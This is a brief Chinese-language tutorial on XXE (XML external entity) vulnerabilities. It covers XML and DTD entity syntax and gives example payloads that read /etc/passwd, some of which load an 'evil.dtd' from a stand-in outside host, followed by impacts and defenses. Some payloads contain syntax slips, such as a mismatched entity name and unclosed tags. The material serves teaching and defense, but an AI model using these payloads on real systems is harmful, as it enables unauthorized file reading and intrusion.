XXE漏洞详解
漏洞介绍:
如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞。另外php版本大于5.4.45的默认不解析外部实体
XML:
设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很想HTML语言。但是XML和HTML有明显区别如下:
1.被设计用来传输和存储数据。
2.被设计用来显示数据。
XML结构:
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
第一行XML的声明,第二行<note> 为根元素, 下面的to, from,heading和body 都是子元素
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;
外部实体构建
直接通过DTD外部实体声明
<?xml version=”1.0”?>
<!DOCTYPE a [ <!ENTITY b SYSTEM “file:///etc/passwd”>
]>
<c>&a;<c>
通过DTD文档引入外部DTD文档,再引入外部实体声明
<?xml version=”1.0”?>
<!DOCTYPE a SYSTEM “https://123abc.com/evil.dtd”>
<c>&b;<c>
DTD文件内容:
<!ENTITY b SYSTEM “file:///etc/passwd”>
通过DTD外部实体声明引入外部实体声明
<?xml version=”1.0”?>
<!DOCTYPE a [ <!ENTITY b SYSTEM “https://123abc.com/evil.dtd”>
]>
<c>&b;<c>
DTD文件内容:
<!ENTITY b SYSTEM “file:///etc/passwd”>
XXE漏洞危害与防御
危害
- 读取系统文件;
- 执行系统命令;
- 探测内网端口;
- 攻击内部网络。
防御
方案一、使用开发语言提供的禁用外部实体的方法
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。